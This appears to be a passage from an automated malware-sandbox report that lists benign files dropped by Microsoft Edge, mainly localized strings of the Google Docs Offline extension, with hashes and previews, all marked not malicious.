.O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.378285300173112
Encrypted:	false
SSDEEP:	24:YJxF5sQ5szAW01Rp5yK10YO5qv70VhQu5Fa0hVWw5SWMx0hH5M:YJxF5sQ5sEW01X5y60YO5qD0VH5Fa0h4
MD5:	1CEE491A9B32CC40E537F59600DCBE6B
SHA1:	4CC13DEB7E873EE553419DFE56D89E9D81DFC14A
SHA-256:	BEA6E182DD32389A516ED8B1149EF2EC1A3B6249ECFCED8CEDE0549C64BF9DF8
SHA-512:	7C42CE314814B9F2A8C75EA4EA98EA8B8EA67C2CD51AE4EEF8F8C7CB033166D65B7EA3A85C6A936DB66773DF8A659C384B638FDAF9ABBE0130D27C6E3552D873
Malicious:	false
Preview:	{"logTime": "1005/081724", "correlationVector":"2/PmMr7SOFFRIqTwW+HesJ","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"mBsci4p0IuAlecFQAh3IDU","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"EFCCE5F7ECC74238A0D17C500D8EB81C","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083130", "correlationVector":"jkXXrPbML/1ucIa5c7okZ6","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083130", "correlationVector":"CECEB17551BE48CCBF3DD12E07118D84","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083241", "correlationVector":"WUtA7xoJfeUJPFSRRtPAng","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083242", "correlationVector":"B7F67C44DD3147F7BE748158D3F8E7B5","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083444", "correlationVector":"6kKZpL8SvSsrBcj/Fl+tva","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083445", "correlationVector":"94D95442

C:\Users\user\AppData\Local\Temp\eb1f6708-a912-444b-b1b1-a972b2506ccc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\f2ee7d45-2268-4508-8f2f-e4e8d6164cd4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1548578
Entropy (8bit):	7.993102018182168
Encrypted:	true
SSDEEP:	24576:qkC+NOHf390hF1vfI4M8qXD5VxgBFvsCf5kBiOSSopRHSDqIef1bMqHfa7amHBx0:xC+NOHf3ytfrqXD5VSb0CfgirS4RhIeT
MD5:	81EC0CCEB9A886517175A368A5B7DEF5
SHA1:	B4C366D3A112AD6EEA7E13DA7A6D13BA290714F2
SHA-256:	1769E9FE6FA26F1720511E3AE558EA73AAA67D6551B404C4A01F2315E6322502
SHA-512:	90A8714352A0AAEB6166DA54A1B82FDDDAC57FA7F915663266AC1907E216B338D6B60A8E64218821A837BEB57733C8DFD1A802C8B33EBDD46E33FC539C9C0331
Malicious:	false
Preview:	.PNG........IHDR...2...2......?.....?iCCPICC Profile..H..W.XS...[.....@@J.M......B..6B. ...A...v...].Q..bG.,../.T.u.`W............9.3...{....<.$... _\(...d.JMc.......8.K..@......../..D.^q.k.....-.......q......~...DZ..Q.[L..1.@G...x..g)q..g(.n.Mb<..V..<.4...%.3..YP.....X ....../?....t.m...b.>+.....if.j.xY.X9.EQ...H.xS..t..'..a.+5[../.3......rL..G.....6..D..=.(%[....G.....3...........!..H...)..B.W.:YT.M.X........F.x./.!S.a...<....}Yn.[..:[.U.c......).[....!.C.T......Y.........[B./......LiH..,.``...l.7Z...f'.)..y...\.KB1;i@GX0r`..aP.r..3.8)A..AR.....S$y.{.\....!v+(JP....T....De.xq./<V....D....L .5.L.9@......=!... ............k.(..B$.......BP........2..E....... ...{.b.x.[2x...?..`..x.`...{~...!..bd.......`b.1..B...q?......X]p..50....'...C.5B'..xQ...(.@'..Q."..\..P....}.:T..pC...A?l..zv.,G..<+...6......LF.C..d.G.....\...e..........C............`'.s.a..0.cX........X.....+..:....x..L.8.:w;.Q...'...3A2E*...d...A...N......./...8.w..k.......c.....s......

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\66094139-062f-4357-9946-00e432bc30ef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
